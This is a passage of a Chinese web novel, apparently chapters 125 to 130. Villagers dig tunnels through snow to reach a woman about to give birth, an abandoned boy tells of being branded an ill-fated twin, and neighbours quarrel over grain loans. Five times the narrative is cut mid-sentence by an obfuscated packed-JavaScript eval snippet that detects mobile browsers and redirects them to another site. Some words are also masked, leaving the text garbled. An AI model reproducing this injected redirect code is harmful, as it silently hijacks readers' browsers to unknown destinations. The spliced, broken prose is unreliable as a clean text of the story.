他刚准备离开,范木匠的媳妇张氏突然探头出来,脸上同样瘦了不少,不同以往,难得给了程大壮一个好脸色:“大壮,别听他瞎说,有力气。铲雪是不是,马上就铲,咱两家先连起来走动走动,你不知道这段日子把我们憋得,逮只鸡我都能说半天。” 程大壮被她的热情弄得尴尬,“好。”转身先回去跟家里人说一声。 等人走后,范木匠烦躁地冲张氏发起火:“你发什么神经,我现在走路都晕,怎么干活?” 走路晕一半原因肚里没食,另一半是床上躺多了。 张氏:“你傻呀,等开始铲雪了,你铲慢一点,他们家三个大男人,速度比你快多了,等铲到咱家家门口,两家基本就通了。” 程家人又不是傻子,发现他偷懒能不说? 范木匠狐疑道:“不好吧,传出去脸上没光。” 张氏气不打一处来:“有什么不好的,挖道的主意又不是你提的,我们看在邻里的份儿上,施以援手,已经很给面子,当帮工还得管两顿饭呢,程家给啥了?” 她说得义正辞严,好像挖道对自家好处一点没有,是在白给程家人干苦力。 范木匠一听,觉得有道理,他家粮食快吃完了,正愁没法出去借粮,隧道一通,法子不就来了。 打定主意后,程家人也开始行动起来,两家约定以门前一丈为拐点,纷纷低头干起活儿来。 程大壮在前,将雪铲起来,丢在右侧,十七在后,铲起雪丢在左侧,得益于上午挖洞穴,这次几人方便也迅速得多。 通道不需要大,够一个成人通行就行。 程父和赵氏负责踩雪,脚底下雪紧实后,阳光一照,融化得更快。 没过多久,几人已经铲到院门口。 程大壮用铁锹支撑身体,后背微微沁出汗,明显累了。 程云立刻上前:“爹,给我吧,你休息会儿。” 他接过铁铲,立刻开始干活,程诺也从十七手里接过铁锹,姑侄二人,你来我往,程诺的速度比程云还要更快些,高高扬起的雪花像漫天飞舞的柳絮,随风吹动,没了踪影。 程云很快双臂酸麻,举不动了,赵氏接棒。 她看程诺挥舞得轻松,以为不是什么难事,结果一上手,刚挥了十几下,额间开始出现细密的汗。 “小姑,我真服了你了,”赵氏抬起头,一边动作,一边说道,“小李离咱家有二里地,照咱这速度,需要几天啊?” 大盛的一里,相当于她那个年代的五百米。 “靠我们几个,得挖十来天。”程诺道。 赵氏的目光落在厚厚积雪上:“十来天,孩子早生了吧?” 如果不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429206|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提前赶过去,去晚了没准收到的不是喜讯,是噩耗。 女人生产本就不容易,还是在极端天气,没有稳婆的情况下。 别的不说,单热水供应一项,对李家来说已经难如登天了。 “若是村里人一起帮忙,没准五六天就能到。” 程诺的话一下子让赵氏眼睛亮起来,手下的动作越发有干劲,救命的大事,还不得铆足劲加油干。 不久后,赵氏和程诺手里的铁锹又被程大壮和十七抢了过去。 程大壮:“妹,你去问问范木匠挖到哪儿了,把咱家的进度跟他说一声,心里有个数。” 程诺借着一旁的卤肉摊车,爬上墙,站起来时,刚好能看到范家院中情形。 范木匠原本打算开个两丈长的通道意思一下,能正好到达自家院门前就行,其他的交给程家人,谁知道他刚拿起铁锹挥舞没几下,气喘胸闷,呼吸急促,这可吓坏范木匠。 他是家里的顶梁柱,乡下人身体最值钱,一场雪灾不会把他身体搞垮了吧? 张氏越是在一旁夸他演得真像,范木匠越心慌,拿起铁锹真的卖力干起来,好不容易开了一丈长的路,整个人累得喘粗气:“休、休息会儿。” 房门前堪堪疏通一丈来长的隧道,范木匠手拿铁锹直喘气,张氏在一旁用帕子给丈夫擦拭脸上的汗珠,见到墙头上站着的程诺,诉起苦来:“家里男人多就是好,不像我家,关键时候搭把手的人都没有。” 程诺盯着范木匠看。 远远的,范木匠看到墙垣上绿草色身影,吹动的风带起裙边,勾勒出女子特有的身姿,长身玉立,配上背光看不清的面容,只知道对方的脸蛋好似只有巴掌大。 范木匠一时愣住了,这是村里出了名的丑妇程四娘? 想当初他没成婚的时候,也有媒人给他介绍过程四娘。 “又懒又馋,还是个毁了容的,我就是娶头猪也比娶她强。” 范木匠记得他从前是这么跟媒人说的。 一晃数年过去,记忆中程四娘的粗鲁言行,好似过去很久,逐渐被眼前女子的明媚代替。 范木匠一时看得痴了。 第一百二十六章 天煞孤星 “不行就算了。” 程诺见他不似作假,应该是长期营养没跟上,导致身体负荷不住,腿软疲乏。 他好似从程诺眼神中看到一抹鄙夷,一抹对他男性力量的鄙夷。 范木匠像是被踩到尾巴的耗子,一下子叫出声:“我行!” “我休息好了,这点活儿对我来说不算什么。” 像是为了证明,他特地卖力多舞了两下,积雪簌簌往下掉,不少钻进张氏的袄子里,冻得她直跳脚。 程诺看眼前跟打了**的男人一眼:“好,那你继续吧。” 翻身回到自家院中,留下一片惹眼的翠绿,仿佛冰天雪地间独特的色彩,在范木匠眼前一闪而过,却留在心里。 赵氏骂道:“你逞什么能?嘴唇都白了,我跟你说的都忘了?让你偷懒的呢,你一副牛气冲冲的样子给谁看?” 张氏话音刚落,脑海中快速闪过程诺的面容。 男人刚说要休息,程诺一来质疑他不行,他立马要证明自己。 什么意思,男性尊严受损,要证明给女人看自己的本事? 程四娘那个丑妇,也妄想抢她的男人? 一个下午,程家人轮番上场,挖出去二十米,刚好通到范家门口。 范木匠也在差不多时候,终于费劲力气将院门打开。 第一天,很不错了。 晚饭做得简单,中午没喝完的排骨汤底,兑了水,加入调料,将蔬菜肉分盘装好,直接做成火锅,程诺懒得和面蒸馒头,主食蒸杂粮饭,再去咸菜缸捞一把咸菜,切吧切吧,当成一道配菜,晚上算糊弄完了。 冬天、大雪,没有比火锅更配的美食,程家人干了一天活儿,连汤底都喝了个干干净净。 晚饭后,程诺烧了热水给大伙儿擦拭身子。 忙了一天,身上肯定出了不少汗,带着汗味睡觉,程诺接受不了。 十七也受不了,强硬地拽着已经打算上床睡觉的程云,把脚洗了。 程大壮也在他幽幽目光中,给自己端了盆洗脚水,看得赵氏一愣一愣,揶揄道:“跟我睡一张床,洗脚都是我哄着你,怎么换了张床,爱干净起来了?不知道的以为你跟哪个美娇娘睡觉去了。” 乡下人之间没有太多忌讳,就算是女子,开开玩笑也属正常。 程诺揶揄地看了眼十七:“美娇娘~” 十七斜眼瞪她。 程家为疏通道路累了一天,云溪村住着的程二顺几人也在大雪中想办法度过难熬的时光。 妇人们刚开始可以刺绣补衣,时间一长,针线用完,只能大眼瞪小眼。 顾寒栀话少,跟武氏更是话不投机半句多,武氏只能去找程母,可再多的话也有说完的一天。 何大夫已经无聊得拉着几个小的,教她们辨认草药,珍珠金玉听得昏昏欲睡,陶诚没开窍,与君与华兴致泛泛,倒是阿盼很感兴趣。 “你对药材挺熟悉的,以前学过?” 何桂香对外宣称阿盼是陶诚远方表哥,何大夫却很清楚,陶家压根没有这房远亲,阿盼是当初何桂香和程诺从乞丐堆里捡回来,提取痘种的。 小少年身份成谜,镇上也没听说谁家丢孩子。 按理说,这么大的孩子,应该知道家住哪里,至少对父母的姓名有所了解,可在何家住了这么长时间,大伙儿除了知道他小名叫阿盼,其余什么都不知道。 何桂香猜他失忆了,何大夫却没从少年身上查出病因,只可能是他不愿意说,或者是阿盼根本不想回去。 程家**概也猜出,阿盼跟陶家没什么关系,闻言,纷纷朝那孩子投去好奇的视线。 阿盼垂着眼眸,就在何大夫以为他要跟以往一样默不作声时,他点了点头。 何大夫继续问:“你家人教你的?” 阿盼摇摇头:“不是,我偷学的,家里人不让我出去见人。” 何大夫一时没弄明白,不让出去见人是什么意思,保护太过怕被外人伤害,还是觉得孩子会在外客面前丢人? 屋外是漫天大雪,阿盼不知这场天灾会持续多久,如果他无法再灾难中活下来,过往经历的委屈,他也想找个人倾诉。 程家人对他好,要不是程诺和何桂香,他未必有命在痘疫中活下来。 于情于理他不该有所隐瞒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429207|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 在这个大雪纷飞的冬日,程家人围炉而坐,听到一段跟阿盼有关的过往。 原来阿盼不是家里唯一的孩子,他还有个双生哥哥。 有人说他们兄弟俩,一个是天降吉星,一个是天煞凶星,一阴一阳同人不同命。 他娘生产那日,天空中出现奇异景象,金色光芒穿透云层,数只喜鹊在家上空盘旋,哥哥很快顺利降生,府内众人一片喜气,纷纷庆祝这祥云之景。 原本以为第二个孩子也会像第一个一样顺利出生,产婆却说产妇胎位不顺要难产,需得耗上些时辰,没成想这一等足足等了一天一夜。 阿盼的娘精力不济,期间数次昏厥,要不是有救命的汤药吊着,人很可能就没了。 更让人震惊的,是他出生后原本**无云的天气,突然之间狂风大作,暴雨倾盆。 一位从家门前路过的高僧说,他出生在极阴之时,是天生的凶星,若长久留在亲生家人身边,必定会导致亲近之人身体日益憔悴,最后直至丧命。 此言一出,屋内空气静默一瞬,武氏听到这儿,后怕得缩在程三虎身后,颤巍巍道:“凶星、丧、丧命……” 三虎心下震惊,面上却还是一片镇定,瞪了武氏一眼,示意她闭嘴。 程二顺听得聚精会神:“后来呢?你家人把你送走了?” 程母道:“不可能,孩子是母亲身上掉下的肉,哪能仅凭他人一面之词,把亲生孩子送走。” 阿盼点点头:“程奶奶说的不错,家人没把我送走。” 程母松了口气,是了,天底下没有这么狠心的母亲,她也是为人母的,最清楚不过。 哪知道,少年接下来的话,让她大吃一惊。 “没有将我及时送走,可能是我娘这辈子做过最后悔的事。” “从那之后,哥哥病魔缠身,几度惊厥,看了许多大夫都说回天乏术。高僧说我天生带煞气,命克嫡亲,只有我一人受尽苦楚,亲人才能富贵安康。”阿盼神色淡淡,说出的话却如平静湖面上丢下一颗石子,积起千层浪。 武氏惊声道:“真是你害的?” 第一百二十七章 贴上暖宝宝 她看向少年的眼神满是防备和惊恐。 那眼神,跟府中人看他时一模一样。 阿盼蜷缩在炕上,抱着双腿的手臂呈防御状,头越垂越低,恨不得将自己埋在**。 程母怒喝:“闭嘴!再胡说给我去外头挨冻。” 武氏瑟缩着闭上嘴,却往程三虎后头藏得更深,一副能离少年多远,就离多远的模样。 程母见武氏避之不及的样子,生怕她把好不容易敞开心扉的孩子吓得再自闭回去。 安慰小少年道:“别听她胡说,我们家不信这些,当时的你只是个孩子,自己的命运尚且无法掌握,怎么能影响别人。” 一个丁点大的孩子,能是孤星转世?怕不是所谓的高僧为了**,说出来哐人的吧? 程三虎在这事上,最有发言权:“我跟小妹是龙凤胎,当初娘生我们时,我壮硕如牛,四娘瘦得跟猴干一样,大病小病不断,我娘一度以为她活不成,按你家人的说法,那我也是天煞孤星,生来克四娘地。” 程二顺一拍大腿,义愤填膺:“对啊,什么天生自带煞气,命克嫡亲,纯属放狗屁,我们这样的乡下人都不信,你爹娘疯了不成?” 阿盼眼眶含泪,弱弱开口:“真的吗?” 程二顺:“当然是真的,不信你问何大夫,他行医救人几十年,小孩子生病是不是常事。” 阿盼视线转到何大夫身上。 何大夫肯定地点点头:“不错,孩童惊厥可能是多种病因导致,怎能怪到你头上,哎,也怪当今时代推崇佛教,寺庙大行其道,僧人地位水涨船高,说什么百姓都信。” 他接着又问:“所以你识别草药的本事,是被送出家后学的?” 阿盼点头,缓缓说出那段过往。 从有记忆起,他一直被家人弃在乡下庄子,由府上一对管家夫妻收养。 管家夫妻口中喊他二少爷,却从没给过他好脸色,衣不蔽体食不果腹是常态。 后来偶然间,他从二人谈话中得知身世,才知他是有爹娘的,而且他还有个哥哥,一个跟他过着迥然不同生活的哥哥。 七岁那年,管家夫妻进京汇报庄子收成,回来路上遭遇土匪截杀,管家的儿子得知父母死讯,捡起石子砸破他的脑袋,大骂:“丧门星,你就是个爹娘都不要的瘟神,为什么死的不是你,你害死我爹娘,我要你偿命。” 那天,他被管家儿子骑在身上,双手死死扣住脖子,掐得喘不上气,他一度以为要死在无人问津的庄子上。 至死见不到亲生爹娘一面。 府里闻讯赶来接他的仆从,救了他一命。 给管家儿子丢下一袋银子,带走了他。 他以为终于能跟爹娘哥哥重聚,满心欢喜回到家,看到的是当初说他灾星的高僧在府中大摆祭台,府里人说,是在驱邪。 他就是那个“邪”。 高僧说他身上煞气除尽,可以不用送往乡下,爹娘却不放心,将他安置在一处偏僻药园,三年不闻不问。 草药就是在那时候学会的。 直到半年前京中疫病爆发,不知怎的,爹娘突然想起了他,还将他跟哥哥一起交给好友,送来清河镇避祸。 阿盼情绪低落:“我以为他们终于开始关心我,结果只是因为高僧说哥哥此行艰难,恐生变故,需要一个有血亲的人挡煞。” 程母越听越气,大冬天的背后气出一身汗:“老娘很久不骂人了,今天必须要骂一骂你丧良心的父母,我收回之前说的话,不是所有人都配为人父母,你爹娘……缺大德,呸,什么玩意儿!” 程二顺:“要我说,这样的家不要也罢,谁知道你回去后,他们又会把你送去哪儿。” 众人纷纷点头,表示赞同。 何大夫笑着安慰少年:“看你颇有学医天赋,以后跟着我抓抓草药,治病救人可好,就是不知道你看不看得上我这个半旬糟老头。” 阿盼忙点头,他一生夙愿就是能有关心爱护他的亲人,能有一处不被随时驱赶,安身立命的栖息地。 立即跪地,给何大夫磕了个响头。 何大夫见状大笑:“没想到我老何操劳半生,老年还能收个小徒弟。” 陶源爬上外公肩膀,跟着笑起来:“小徒弟,小徒弟。” 何大夫摸着外孙脑袋,另一只手将阿盼拉到身前,这个大雪纷飞的夜晚,冰天雪地冷寂一片,小屋中温暖人心的真情,却给众人抵抗严寒的坚实盔甲。 第二日,天不再下雪。 大梨村程家,大伙儿起了个大早。 心里装着事,起床有了动力。 临出门前,程诺拿出从商城买的暖宝宝,用程大壮做示范,教大伙儿怎么用。 程大壮的里衣是个没膀子的棉衣,因为他干体力活太多,动作大开大合,赵氏懒得给他缝缝补补,干脆做成无袖样式的。 刚在胸前贴上方方正正的白纺布,没多久他明显感觉到胸口传来热气。 伸手一摸,惊了。 白纺布在发热。 “小妹,这是个啥?” 程诺昨晚想好怎么解释:“暖宝宝,里头是铁粉和活性炭。” 十七也在程父的帮助下,后背贴上一张,问:“什么是活性炭?” 程诺:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429208|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以理解成木炭,原理差不多。” 程大壮:“小妹,你从哪学的。” “之前在灵水镇卖卤肉,那里有不少走南闯北的旅贩,他们经常要在沙漠等严寒地方过夜,东西是从他们手上买来的。” 程父摸着软软的布,爱不释手:“你娘他们也有吗?” 程诺继续脸不红心不跳,“没有,太忙我忘了,等雪融了,我去给他们送点。” 她确实忘了,屯货的时候没想起来来。 要不是程大壮他们要去挖雪道,她险些彻底忘了暖宝宝这种神器。 “暖宝宝只能持续两三个时辰,时间到了你们就回来换新的。” —— 第三日下午时候,终于到达村南第一户人家。 贵婶一家在床上窝着,儿子媳妇在用炕洞余温烤红薯玉米,他家屯粮不少,但是炭火不足,主要是镇上买不到,好在贵婶一直有屯东西的习惯,柴房的木柴,顶个把月不成问题。 “当初我拾柴火的时候,你还不让我去,现在家里人能半夜睡暖和觉,都得感谢我!”贵婶用棉被将自己裹紧,接过贵叔递来的红薯。 贵叔笑道:“我什么时候不让你去,我那是怕你累着,红薯甜吗,要不要撒些糖。” 贵婶朝厨房方向抬抬头,示意他去拿。 “贵叔。” “贵婶。” 程大壮喊了两声,屋里没反应。 程云拍拍门框,“贵奶奶,贵爷爷,我是小云。” 贵婶靠在被褥上吃红薯,突然听到动静,以为听错了。 直到贵叔发话:“是不是有人喊我们?” 儿子富贵先辨认出来声音:“好像是程家人。” 贵婶摆摆手:“怎么可能,外面雪比人都高,他们怎么过来?一定是听岔了。” 贵叔也这样觉得:“以前听老一辈的说,下大雪的天听到有人喊你名字,千万别答应,那是山鬼下来**了。” 媳妇孙氏直接坐起身,又屏气凝神仔细听了一会儿:“我也听见了,真的像是程家大儿子的声音。” 山鬼学人声,学得真像啊。 富贵穿衣下床,趴在窗户上垫脚往外看,就见原本被积雪挡住的院门,不知什么时候多了条漆黑的通道。 “我出去瞧瞧。” 孙氏忙拉着,道:“这么大的雪,谁能出来,别感染风寒,村里何大夫去云溪村照顾小外孙了,可没人给你治病。” “没事,我看看就回来。” 说着从窗户钻出去,丢了块宽板子在雪地上,板子是家里衣橱卸下来的,人站在上面不会塌陷。 “谁在说话?” 第一百二十八章 家里人说三十岁前成婚克妻 他清了清嗓门,有些底气不足地喊道。 门外,程大壮等人喊了好一会儿,听不到屋里人的回应,已经开始担心是不是出了事。 直到富贵的声音传来,大伙儿松了口气。 程老头高举铁锹,张大嘴喊道:“富贵儿,是我,你程叔。” “程叔!你怎么过来的?”富贵激动道,要不是没法移动,也不顾上两家从前龃龉,恨不得直接飞到几人面前。 程老头热情道:“不止我,我们一家都来了,还有范木匠也在呢。” 范木匠靠着铁锹休息,闻言鼻尖嗤了一下。 村里谁不知道,程贵两家不对付,从前就这两家能争一争村中首富的位置。 贵婶因为贵叔年轻时跟程母青梅竹马长大的事,心里不舒服,隔三岔五呲一嘴,两女的吵架干仗时常发生。 贵叔看程老头不顺眼,觉得是他的出现抢走了初恋,暗地里较劲,比房子,比孩子,比谁家地里产量好,比谁家媳妇勤快孝顺。 一比到程四娘招赘,程家补贴女婿,日子捉襟见肘,屋舍不翻新攒钱给女婿盖青砖瓦房,自家地顾不上,先去给女儿女婿拔苗插秧。 几年功夫下来,贵叔一家日子越过越好,程家走起下坡路。 两个月前,贵婶还在程四娘休夫归家宴席上大闹呢,这才过去多久,又亲亲热热起来。 富贵比范木匠心眼大多了。 说到底,是老一辈年轻时的那些事,牵扯不到小辈身上。 再说,前段日子程四娘卖卤肉,他娘可是村里主力军,村里谁能有他娘买得多。 很快,在程父的指挥下,富贵和贵叔一起从门口开始疏通雪道,没多久连通到院门前。 “快进来,外面冷。”说着,贵叔把人往院里拉。 等人进院,贵叔和富贵才看见几人身后绵延的道路,一直通往几十丈外。 “程老弟,你们一路挖过来的?”贵叔感慨道,“费那劲做什么,我看这两天不飘雪,没准很快太阳出来,雪就化了。” 贵婶听到动静走出来,看到大伙儿也是一惊:“乖乖,这是挖了多久啊?” 程老头摆摆手:“刚好两天,屋子里憋得慌,不找点事做,人要困疯掉的,我也想看看村里大伙儿是什么个情况,村尾的小李媳妇不是快生了吗?我记得嫂子从前帮人接生过,是不是?” 贵叔吃惊道:“啥?小李媳妇要生了?” 贵婶一拍脑门,懊悔不已:“这么大的事我怎么给忘了,没下大雪前,小李跟我说过,等她媳妇生孩子请我去帮忙,暴雪一来,我给忘得干干净净。” 她掰指头算起来,越算越乱:“雪下多少天了?” 赵氏道:“昨天元宵,刚好半个月。” 程诺上回见小李媳妇的肚子,有九个月,等大伙儿挖到李家,胎儿还得有小半个月才发动。 谁知贵婶双手一拍大腿,大喊:“不好!” 程诺心下一惊,就听贵婶道:“上回何大夫给绿草把脉,说她这胎怀像不好,可能会早产。” 众人忍不住倒抽一口气,鼻腔里全是冷冽的空气,心像是停止跳动一般。 片刻后,终于有人从震惊中回过神,大喊:“愣着干什么,赶紧挖呀,再不救人,来不及了!” 贵叔冲进屋,拿出铁锹,带上儿子富贵加入挖雪道工程。 两边都是高高的雪墙,高过头顶,脚下是一尺来宽的小路,这回换成贵叔和儿子冲在最前头,程家三个男人挖了下午,手冻僵了,得进屋暖和暖和。 赵氏和程诺走在最前头,手放在门框上时,程诺对男人们道:“我和嫂子先进去,等会儿叫你们,再进来。” 程云不解:“为什么,小姑,外头好冷。” 程大壮拉了儿子一把:“里头还有人。” 程云明白过来,富贵媳妇还在屋里。 屋里人显然已经听到动静,传来窸窸窣窣穿衣服声音,贵婶苦笑道:“没办法,家里柴火不够,全家人都得挤在一起。” 范木匠偷看了眼贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429209|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婶家柴房,隐约可见里头摞得整整齐齐的木柴,“婶子,你家柴火不少吧?” “就那样,大冬天烧水废柴,做饭废柴,屋里炭盆、取暖的炕都得靠烧柴,用起来太快。你们没来之前,我还跟我家那口子说,去哪再砍些柴回来,他还说我痴人说梦呢!” 贵婶抬手招呼人进屋,给他们倒了热水暖身子。 到到十七面前时,贵婶愣了一下:“这是?你家哪儿的亲戚?” 好俊俏的小伙子,剑眉星目,鼻梁坚挺,五官俊秀,长得真好看。 她之前听人说程家来了个投奔的亲戚,帮着在地里干活,没人说这个亲戚长成这幅模样啊。 程家人样貌摆在那儿,难道是哪个媳妇的亲戚? 远方亲戚是程母瞎掰出来堵住村里人议论的嘴的,总不能平白无故家里多出个男人,她要为媳妇和几个孙女的名声考虑。 至于是谁的亲戚,当初没想好。 现在被问到,程父一脸懵。 程诺脸不红心不跳道:“我二嫂那头的。” 贵婶一脸果然如此,程家二媳妇长得小家碧玉,见过的人没有说不好看的,青年人是顾氏那边的亲戚,一切都说得通了。 “你是程二郎媳妇的弟弟?他们不是去了云溪村,你怎么没跟着一起去?” “云溪村去的人太多,程伯父的意思是,我是个男人,留在大梨村邻里需要帮助能支援一把。” 十七扯出一抹和煦的笑,笑容迷人,晃得贵婶压根没听清他说什么。 程父帮腔道:“对对对,挖雪道的主意,就是十七跟四娘合计出来的,要不是他们,我今天还见不到你们呢。” 贵婶越看越满意,还是个聪明的儿郎。 “你成婚了吗?没成婚嫂子给你介绍个,我姑家的女儿,今年十七,长得如花似玉……” 十七:“多谢嫂子,不是我不愿意,只因父母小时候给我算过命,三十岁前成婚会有妨子妨妻的风险,是以不敢耽误您侄女大好青春。” 第一百二十九章 借粮要收利,穷疯了? 三十岁,青年人样子最多二十五,再等五年侄女花期就过了。 那不行,贵婶立马打消想法,心里还是觉得惋惜。 休息得差不多,程大壮和程老头起身,打算把贵叔二人换下来,离开前范木匠道:“你们先去,我胳膊酸得很,得再休息一盏茶功夫。” 他心里记挂着借粮的事,想现在说出来,又怕程家人在抹不开面。 等人走了,范木匠终于开了口:“嫂子,劳烦您借我点粮,不敢奢求米面,红薯玉米这些扛饿的就成,今年秋收我多还您三成。” 三成不算多,是平日里大伙儿借粮的规矩。 可现在是灾荒年,地里庄稼全冻**,别说今年,就是明年也未必能还上。 不知道雪要下到什么时候,贵婶心里没底,借也不是,不借也不是,叹息道:“当初大伙儿一起买粮,你家非不听,让你们把地里的冬小麦收了,你们也不听,现在好了一家人饿肚子,你是个男人无所谓,你爹娘年纪大了,能熬得过去吗?” 范木匠被骂得跟孙子一样,不敢回半句嘴。 “最多借你五斤红薯,但你明年得还我五成利。”贵婶平日里嘴毒,心却是软的。 她是从全家人牙齿缝里省出来的,灾年一口粮就能救一个人的命,谁知道送出去的五斤红薯,会不会成为压垮全家人的最后一根稻草,她就是要双倍利也不多。 范木匠咬咬牙,千恩万谢抱着红薯回了家。 范家的粮食告罄了,范父范母死鱼般躺在床上,嘴里喊着:“饿啊,儿,我饿……” 张氏把家里翻了个底朝天,除了找出一堆铜板,连个老鼠都没瞧见。 这时候,钱留在手上有什么用,她后悔啊,后悔没听程家人的话。 哪怕把地里的小麦收上来,此刻煮了喝了,也比饿肚子强。 范木匠推门进屋,将红薯放在桌上,张氏看到吃的,眼冒金星:“哪儿来的?” “贵婶借的,明年多还五成。” “五成?她怎么不去抢?”张氏边抱红薯去厨房,边抱怨,“黑心肝的,趁火**,邻里邻居帮忙还要收利息,穷疯了吧。” 饿得半靠在破被褥上的程母,撑起胳膊,跟着骂:“呸,越有钱,越抠门儿,千万别落我手上,我一粒米都不会借给她家!” 程父饿得双眼冒金星,吩咐儿媳妇:“快,快去给我弄吃的。” 红薯在锅里煮到半软,张氏迫不及待捞出来,顾不上烫,先大快朵颐起来,最近家里仅剩的粮都得先紧着干体力活的丈夫,她饿得前胸贴后背,再不吃东西,怕是挨不过几天。 程父程母吃了个半饱,不敢再吃,五斤红薯与他家挨不过多久。 程母殷切地望着儿子:“外头的雪化了吗?” 让她失望了,范木匠摇摇头:“没有。” “造孽哦,家里的粮和柴火哪里够,儿啊,再去问村里人借点,”程母一脸理所当然,“你如今在帮村里挖雪道,没有你,村里谁出得来,没有功劳也有苦劳,每家每户应该主动给你些谢礼。” 范木匠不想承认他在程家人面前,体力相去甚远:“我会再去借粮和木柴的,放心吧,娘。” 另一边,队伍里多加了两个壮劳力,前进速度变得快速起来,没半个时辰,贵叔邻居家门口到了。 跟先前一样,大伙儿在门前喊,屋内人看到他们一脸震惊,然后欢欣鼓舞将自家大门和雪道挖通。 现成的就是好用。 程家人从家门前挖到这儿,用了两天半,他家半个时辰不到挖通了。 “大哥,一家子还好吧?”贵叔问,“我进屋看看娘。” 这户人家跟贵叔是弟兄,后来分了家,老娘在两个兄弟家来回养老,今年刚好轮到大哥一家。 名叫大福的男人,见到弟弟万分激动,第一句话就是:“贵啊,大哥跟你商量个事,娘今年还在你家住成不成?” 跟在后头的贵婶先不乐意:“为啥,说好一家一年,娘去年在我家待了一年了。” 大福瞥了贵婶一眼,继续跟弟弟说话:“我家粮食不够,柴火也不够,娘跟着我忍饥挨饿,为人子女实在不忍心。” 话说得好听,还不是想把粮食省下来给自家媳妇孩子吃,把老太太当包袱甩给他们家。 贵婶冷哼一声:“行啊,只要娘同意,我没问题。” 此时天色逐渐黯淡下来,程老头喊家人回去做饭休息,别人家务事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429210|169166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们不好掺和。 约定好明早一起往村尾继续挖雪道,便回了家。 顺着雪道往回走,一百多米的距离,走起来用不了几分钟,挖通却废了大伙儿好大功夫,回到家时,突然发现范木匠家前原本没疏通的雪墙,竟然通了。 程大壮惊喜道:“走,去瞧瞧是谁家挖的道儿。” 几人顺着雪道继续前行,大概百八十米的地方,出现雪墙,旁边就是村长一家。 程老头欢欢喜喜进了院:“叔、婶。” 平安正在给村长胳膊上抹油,疏通经脉,年纪大了,用点力身体吃不消。 听到喊叫声,村长便知道是谁来了,立马穿好衣服,出去迎接:“大山,就知道你们肯定要来,快进屋,外头冷。” 见到身后跟着的一家子,明明才半月未见,却好似过去一个春秋:“大壮、四娘也来啦,还有这个帅小伙,你叫……叫十七是不是?” 十七笑着点点头。 “坐坐坐,都坐,大伙儿说说话。” 村长婶端来热水,热情招呼大家:“你们叔公一早交代我,说你们今天肯定要上门,让我准备好姜茶招待。” 程父推辞:“姜多贵,咱们是亲戚,不整这些虚的,大雪天有碗热茶,已经是叔婶疼我们这些小辈了。” 村长婶本还有些心疼囤积的姜,一听这话,那点不满烟消云散,嗔道:“就是一家人才我才拿出来的,换成村里其他人,我可舍不得。” 姜多金贵,既能祛风寒止咳化痰,又能做菜,市场上的价格比大米还贵上五倍,他家也只囤了半斤,以备不时之需。 程大壮抱着姜茶碗取暖,闻言笑道:“谢谢村长叔母,那我们不客气了。” 一碗姜茶下肚,果真比先前在贵叔家喝的热白开还驱寒。 “咱们两家想一块儿去了,挖雪道走动起来方便,再下大雪也不怕失联。”程父。 村长摆摆手:“我们可没你家聪明,照猫画虎罢了,是平安打扫屋顶积雪时,看到你家方向挖了条道出来,我猜想肯定是你们弄出来的,这才跟着学起来了。” 不仅是他家,只要爬上屋顶,便能将村里景象尽收眼底,说不定好几家都行动起来了。 第一百三十章 家家都有偏心的父母 